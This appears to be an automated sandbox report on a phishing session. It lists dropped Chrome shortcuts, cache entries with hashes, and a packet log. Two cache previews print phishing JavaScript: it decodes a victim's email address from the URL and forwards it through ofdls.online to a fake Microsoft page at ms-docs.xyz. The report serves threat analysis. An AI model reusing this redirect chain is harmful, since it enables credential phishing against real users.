.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 13:32:10 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9914923395254345
Encrypted:	false
SSDEEP:	48:8PdBTwmH0eidAKZdA1+4eh/iZUkAQkqehUy+2:878JF9Qpy
MD5:	DC9BFF2612D6E003D974D2154B0E4DA8
SHA1:	E4FBB56C318582DF9F683577D7C77B1AB6DBB900
SHA-256:	3D8612F297773B655924057269C06A7A2341489F33DFD93B02B7318537A99933
SHA-512:	D420D604E87EEFD561C584A0BD29A1DADAB560784194734AC54308F89EF658173AFA9F854B0423F220F6193CCC8F90A800AA6B4E22DF85EFF01FF7B33B1F8E77
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....1..#.E....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.t....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.t....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.t....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.t.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.t...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O.Q.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.000421886367907
Encrypted:	false
SSDEEP:	48:84dBTwVH0eidAKZdA1404eh7sFiZUkmgqeh7siy+BX:8y8hInoy
MD5:	8CFF555A48D7D6B756BC608BD3314CF3
SHA1:	E2EAF68B715BB482783A22A6250AFA48A2E84157
SHA-256:	1C4B6C946D88C4D8681FDE74D037016C137B89D111BE3E71849A1755EA7D6977
SHA-512:	AE7CBB294DDABEA5ED45603936383A63E1203597D3EB95C3D9F1C7B83FF2C3908A9DE22C6437B508C4E1B84F1782F936B2BE7A6FA2A0CEA6349FD5067DE63E82
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.t....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.t....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.t....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.t.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O.Q.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 13:32:10 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.991311553959247
Encrypted:	false
SSDEEP:	48:8XQdBTwmH0eidAKZdA1p4ehDiZUkwqehgy+R:868e5ay
MD5:	6BBFF966D4F4CC3D093A089746679C92
SHA1:	22B6D59AB401F91AF12927B4F7F691938BE1AA4F
SHA-256:	090071CDC464EC0CCC6D56727CD5F66F20A0A6BDB1C2C09272A8FB75D49E3A9B
SHA-512:	5A98BF212BA230C01F23CDD07C532E92C0BB4D9EE1FDDD18536693D776EC81B5E6CCE7C6E0E9DC1F46DD5D46C412F11A53FF963E91C9C71E71CC0D1C8ABD9695
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......".E....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.t....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.t....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.t....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.t.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.t...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O.Q.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 13:32:10 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9801997254264183
Encrypted:	false
SSDEEP:	48:8adBTwmH0eidAKZdA1X4ehBiZUk1W1qehmy+C:8s8Qb9Gy
MD5:	7B1598924518E0735A2D3749FBF92DE5
SHA1:	9F0DF71A15424920D14A63263EBD51A411A9ADFC
SHA-256:	C07858D2E9AA1E6BDC0944545E546734F5E19F207D3DFBA8DE37C71D98D41AC1
SHA-512:	6007418BE598AEBC54C4D1BC94E8F428F55F4A58F320623FA0EE5315B9169F2B2AEBAC77FEC0C31A3585C7ED36C91EDB09429B598DCAF64AAD08A3115EF465FF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....?.#.E....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.t....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.t....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.t....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.t.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.t...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O.Q.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 13:32:10 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9880983230725207
Encrypted:	false
SSDEEP:	48:8PXdBTwmH0eidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTboy+yT+:878NTcJTbxWOvTboy7T
MD5:	46540E68CE4C7CAF72ABFB6AAF1EC3DE
SHA1:	CB3F40154A2FB00D4954558ADB5B85150ABDA1EF
SHA-256:	838C01554175DFC6651B06C90BD1BA9CE28DF72446F70A941DE435600FB47908
SHA-512:	A730100F1D93067DA636F2E19CBE6E6147A19EFE24C4DF1A14666848456C3E10EA3BECC72528B2987F67014197E920FC67142869A4F5E1563BD7CF2798B0E82B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....`.".E....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.t....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.t....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.t....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.t.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.t...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O.Q.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.327567157116928
Encrypted:	false
SSDEEP:	3:mSryoSbSsvVXyY:mSrFSbScVXL
MD5:	C561EA20923CC4A7C28FC7CBD47B7B27
SHA1:	2B9BEB9F18C67725EF563E8D4997075EE7FABC14
SHA-256:	CF4C2F20FC4CD264541BDAAC94B46C06A6751D614518E1185C00DEF57B835C74
SHA-512:	297F50815FA0FD8EA470E00250E3BE61529589608AC428D3D029892202B11420F394DECE84F98861AC544DE7075940ACFCCB5C93FD47E2522B0CCBB1B383DCD4
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSHglIU8PvSrVXYhIFDeeNQA4SBQ3OQUx6EgUNTx8adg==?alt=proto
Preview:	ChsKBw3njUAOGgAKBw3OQUx6GgAKBw1PHxp2GgA=

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8047), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	54489
Entropy (8bit):	5.393921479093904
Encrypted:	false
SSDEEP:	1536:5TuapyNHsdXizJVn9Va8FALrwjQpglRnxpPl9STDhg4oRarJTCucHCGQc9Xb:XQHsdXewLy
MD5:	58A51A384E53ADB248AB9507779A32B7
SHA1:	EAF6CE886AFCDACCB199C52FC9B366E78AE35214
SHA-256:	52931633AEEC734B7F6C68A7C749D3101BFB21E8BFF3C2B0117D90BD987FBCC5
SHA-512:	F36488900BEA6A93ABD4BBA3B4B55EA2568C16E4841A8BA90081F7DD7A98455641C4EB515CAE4EFD4F0AE86D899DB3E277519E8E2B57EC3C2A5AE17B3C5327E0
Malicious:	false
Reputation:	low
URL:	https://oyatsu-jikan.org/
Preview:	<script type="text/javascript">.function validateEmail(referrer) {.var re = /^(([^<>()[\]\.,;:\s@\"]+(\.[^<>()[\]\.,;:\s@\"]+)*)\|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;.return re.test(referrer);.}.decodeBase64 = function(s) {. var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;. var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";. for(i=0;i<64;i++){e[A.charAt(i)]=i;}. for(x=0;x<L;x++){. c=e[s.charAt(x)];b=(b<<6)+c;l+=6;. while(l>=8){((a=(b>>>(l-=8))&0xff)\|\|(x<(L-2)))&&(r+=w(a));}. }. return r;.}.//var ramp = window.location.hash.substring(1);.var hash = window.location.hash.substring(1);.var email = decodeBase64(hash);.var email64 = decodeBase64(hash);.var email2 = email64.replace('$', '@');.var hash2 = btoa(email2);..console.log(email);.if(validateEmail(email2)) {.console.log(email);.window.location = "https://ofdls.online/#"+hash2;.//window.location

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 16 tables, 1st "OS/2", 11 names, Microsoft, language 0x409, \251 2010 Microsoft Corporation. All Rights Reserved.RegularSegoe UI SemilightVersion 1.00 build
Category:	downloaded
Size (bytes):	41560
Entropy (8bit):	6.533827093335207
Encrypted:	false
SSDEEP:	768:FF6XesIz0ymUHmLg0e8sSM7tq2v40ezxHJLrLFKaXhU:zlHmLFejlbqfrLFKB
MD5:	6C26C24AABE31040657665B1E0D9505C
SHA1:	B3BDC48643752665E3E5798A192B27432A87D234
SHA-256:	2D508A6E8979BBA74B6FDF804C01A09A620C781E0FEA73A8EEFDA904F5BCAB25
SHA-512:	96BD759271DF842F333B8085650DBF2006FE8E35B9485AFC91B5DE5B88D158D6147F594475FB4B5D086FA1B93720E935A346BA7D343171E6CBF8E08D4C7396EE
Malicious:	false
Reputation:	low
URL:	https://www.ms-docs.xyz/auth/resources/segoeui-semilight.ttf
Preview:	............OS/2J#u@.......`VDMXvX}....l....cmap6......L....cvt .$........,fpgm.s.u...<....gasp...#........glyf.-....,..`.head..m..s<...6hhea......st...$hmtx..\...s.....kern.....w(....loca............maxp.m......... name.^.........8post.Q.w....... prep(.y.......Z.....^.......3.......3.....f................./...J........MS .....?...Q..................... ................................................................................................................................................... .....!....."... .$...!.$...".%...#.&...$.'...%.(...&.)...'....(.+...).,........+./...,.0...-.1.....2.../.2...0.4...1.5...2.6...3.7...4.8...5.9...6.:...7.<...8.<...9.=...:.>...;.?...<.A...=.B...>.D...?.E...@.E...A.F...B.G...C.H...D.I...E.J...F.K...G.L...H.M...I.O...J.P...K.Q...L.Q...M.R...N.T...O.U...P.V...Q.W...R.X...S.Y...T.Z...U.[...V.\...W.^...X.^...Y._...Z.a...[.a...\.c...].d...^.e..._.f...`.g...a.i...b.i...c.j...d.k...e.m...f.n...g.o...h.p...i.q...j.r...k.s...l.u...m.v...n.v...o

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	7886
Entropy (8bit):	3.5472733281483655
Encrypted:	false
SSDEEP:	48:g8KokgDQoxTP0Vh0jV/H2kPxL6GUEtcrCOmgfzQumtGCzYoITin0iarrWtwVWsiw:97DdTGhGW6yS7Kvs/WjiUKqWmNQOWY
MD5:	759FADE9033AA298629E4B000DCD6DDE
SHA1:	34A1ADF5C7326D7BDE5B5735471B5D81E611C189
SHA-256:	CF0808A61EC571E0C4975663903B288009D55502AC0445D9948983B339A5CF6E
SHA-512:	E96E93B13D70420D4D509D89A6337651440AE049B2A23D57C6250987003C46512C40C85C41BFA1C473A704801C961FFBE421522B89A1C34BA3B9E82A6D0769ED
Malicious:	false
Reputation:	low
URL:	https://www.ms-docs.xyz/auth/resources/favicon.ico
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... ..................................................................................................l.......................................................................................................o...o.6.n.f.m...m...l...l...................................................................................s.0.s.Z.r...q...p...o...o...n...m...m...l...l...........................................................w...v.K.v.x.u...u...t...s...s...r...q...p...o...o...n...m...m...l...l...........................................................w...v...v...u...u...t...s...s...r...q...p...o...o...n...m...m...l...l...........................................................w...v...v...u...u...t...s...s...r...q...p...o...o...n...m...m...l...l...........................................................w...v...v...u...u...t...s...s...r...q...p...o...o...n...m...m...l...l...........................................................w...v

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	7886
Entropy (8bit):	3.5472733281483655
Encrypted:	false
SSDEEP:	48:g8KokgDQoxTP0Vh0jV/H2kPxL6GUEtcrCOmgfzQumtGCzYoITin0iarrWtwVWsiw:97DdTGhGW6yS7Kvs/WjiUKqWmNQOWY
MD5:	759FADE9033AA298629E4B000DCD6DDE
SHA1:	34A1ADF5C7326D7BDE5B5735471B5D81E611C189
SHA-256:	CF0808A61EC571E0C4975663903B288009D55502AC0445D9948983B339A5CF6E
SHA-512:	E96E93B13D70420D4D509D89A6337651440AE049B2A23D57C6250987003C46512C40C85C41BFA1C473A704801C961FFBE421522B89A1C34BA3B9E82A6D0769ED
Malicious:	false
Reputation:	low
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... ..................................................................................................l.......................................................................................................o...o.6.n.f.m...m...l...l...................................................................................s.0.s.Z.r...q...p...o...o...n...m...m...l...l...........................................................w...v.K.v.x.u...u...t...s...s...r...q...p...o...o...n...m...m...l...l...........................................................w...v...v...u...u...t...s...s...r...q...p...o...o...n...m...m...l...l...........................................................w...v...v...u...u...t...s...s...r...q...p...o...o...n...m...m...l...l...........................................................w...v...v...u...u...t...s...s...r...q...p...o...o...n...m...m...l...l...........................................................w...v

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	1072
Entropy (8bit):	5.6745526077079615
Encrypted:	false
SSDEEP:	24:LvPMP0iMeEbjI5qEoeK+C6uSAltSrOIXH5mYvFtUFtCZZJt31b:zPoLej+1CT5ltkd35mYrmsZJv
MD5:	47D24737F4627956C854D4F4AA2C676B
SHA1:	BB7224279101C86F2C242E9375A5578E64DB68DE
SHA-256:	8FF3C379141F881E3887A7811E6AF37E50C448CB18679B7022C4E63EFBB1ACAE
SHA-512:	5B80F30DB94C216E5C7CA74EF94DF589C5F9F5D0A2611CB61A621DD979D59C60668DBBFB8143FD33A64E026D441846A2AF73BF597A495F0658B54E736A179A8E
Malicious:	false
Reputation:	low
URL:	https://ofdls.online/
Preview:	<script type="text/javascript" >.function validateEmail(referrer) {.var re = /^(([^<>()[\]\.,;:\s@\"]+(\.[^<>()[\]\.,;:\s@\"]+)*)\|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;.return re.test(referrer);.}.decodeBase64 = function(s) {.var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;.var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";.for(i=0;i<64;i++){e[A.charAt(i)]=i;}.for(x=0;x<L;x++){.c=e[s.charAt(x)];b=(b<<6)+c;l+=6;.while(l>=8){((a=(b>>>(l-=8))&0xff)\|\|(x<(L-2)))&&(r+=w(a));}.}.return r;.}.//var ramp = window.location.hash.substring(1);.var hash = window.location.hash.substring(1);.var email = decodeBase64(hash);.console.log(email);.if(validateEmail(email)) {.console.log(email);.window.location = "https://www.ms-docs.xyz/?email="+hash;.//window.location = "https://www.web-api.top/?email="+hash;.//window.location = "https://regenbogen-kueche.de/clean/token/referrer="+email;.//window.location =

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 18 tables, 1st "LTSH", 11 names, Microsoft, language 0x409, \251 2010 Microsoft Corporation. All Rights Reserved.RegularSegoe UI RegularVersion 0.81 Build 1
Category:	downloaded
Size (bytes):	56760
Entropy (8bit):	6.4599684161266815
Encrypted:	false
SSDEEP:	768:V6VwA2/UhWmTcrZslrc1pMEEfTsjRvlJ2LQ5XUAat0bJlZy+mO1F3iIezxHJLrLr:GwdMTwN1Dw6tewUZtyVy+mI7qfrLFKpi
MD5:	8AF990B6AD3BA192C2DD6A193890BF5F
SHA1:	4DB5BF117FF8F1392FAB3B438216D7CFF4AE4976
SHA-256:	C147C2EC76A8AB8BD5082F1F4D3F80A43C689165CB164CDD812E44048FE38708
SHA-512:	9EB10B5965EC7F272D854D46778D3F61F07EDF9E13B5B6B6184F52FB1BDEAF552756E54F7ABD0B2422CFB76AA9917FC3DB42E0CD713CC7651C2650B6D9417C0D
Malicious:	false
Reputation:	low
URL:	https://www.ms-docs.xyz/auth/resources/segoeui-regular.ttf
Preview:	........... LTSHj..p...,....OS/2JUv........`VDMXvX}....x....cmap6......X....cvt \|.].........fpgm.<....<....gasp...#........glyf..G{......z.hdmxp......\...phead...F.......6hhea...B.......$hmtx..[&...(....kern...........loca.=^........maxp.U.)....... name.......8... post.Q.w...X... prep.......x...@......%..."...................................,..$..........."'..............................................................................#...$........................................................./.................................%.........3.......3.....f................./...J........MS .@...?...Q..................... ................................................................................................................................................... .....!....."... .$...!.$...".%...#.&...$.'...%.(...&.)...'....(.+...).,...*.....+./...,.0...-.1.....2.../.2...0.4...1.5...2.6...3.7...4.8...5.9...6.:...7.<...8.<...9.=...:.>...;.?...<.A...=.B...>.D...?.E...@.E...A.F...B.G

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:31:57.804608107 CET	49677	443	192.168.2.9	20.189.173.11
Dec 3, 2024 15:31:57.834805965 CET	80	49705	199.232.214.172	192.168.2.9
Dec 3, 2024 15:31:57.834821939 CET	80	49705	199.232.214.172	192.168.2.9
Dec 3, 2024 15:31:57.834956884 CET	49705	80	192.168.2.9	199.232.214.172
Dec 3, 2024 15:31:57.834994078 CET	80	49705	199.232.214.172	192.168.2.9
Dec 3, 2024 15:31:57.835253954 CET	80	49705	199.232.214.172	192.168.2.9
Dec 3, 2024 15:31:57.835268974 CET	80	49705	199.232.214.172	192.168.2.9
Dec 3, 2024 15:31:57.835280895 CET	80	49705	199.232.214.172	192.168.2.9
Dec 3, 2024 15:31:57.835300922 CET	49705	80	192.168.2.9	199.232.214.172
Dec 3, 2024 15:31:57.835326910 CET	49705	80	192.168.2.9	199.232.214.172
Dec 3, 2024 15:31:57.843377113 CET	80	49705	199.232.214.172	192.168.2.9
Dec 3, 2024 15:31:57.898329020 CET	49705	80	192.168.2.9	199.232.214.172
Dec 3, 2024 15:31:58.026760101 CET	80	49705	199.232.214.172	192.168.2.9
Dec 3, 2024 15:31:58.070214987 CET	49705	80	192.168.2.9	199.232.214.172
Dec 3, 2024 15:31:58.414033890 CET	49677	443	192.168.2.9	20.189.173.11
Dec 3, 2024 15:31:58.429636002 CET	49673	443	192.168.2.9	204.79.197.203
Dec 3, 2024 15:31:59.617166042 CET	49677	443	192.168.2.9	20.189.173.11
Dec 3, 2024 15:32:01.117717028 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:01.117758036 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:01.118040085 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:01.118279934 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:01.118292093 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:01.492079020 CET	49676	443	192.168.2.9	23.206.229.209
Dec 3, 2024 15:32:01.492096901 CET	49675	443	192.168.2.9	23.206.229.209
Dec 3, 2024 15:32:01.710808039 CET	49674	443	192.168.2.9	23.206.229.209
Dec 3, 2024 15:32:02.023298979 CET	49677	443	192.168.2.9	20.189.173.11
Dec 3, 2024 15:32:02.918080091 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:02.918207884 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:04.343872070 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:04.343889952 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.344254971 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.398466110 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:04.554028988 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:04.595328093 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.934520006 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.934542894 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.934551001 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.934581041 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.934600115 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.934607983 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.934612989 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:04.934624910 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:04.934662104 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:04.934693098 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.116935968 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.116961002 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.117186069 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.117201090 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.117244959 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.161534071 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.161557913 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.161780119 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.161796093 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.161835909 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.296098948 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.296123981 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.296243906 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.296260118 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.296298027 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.328224897 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.328249931 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.328346968 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.328356981 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.328527927 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.352858067 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.352880955 CET	443	49706	13.107.246.63	192.168.2.9
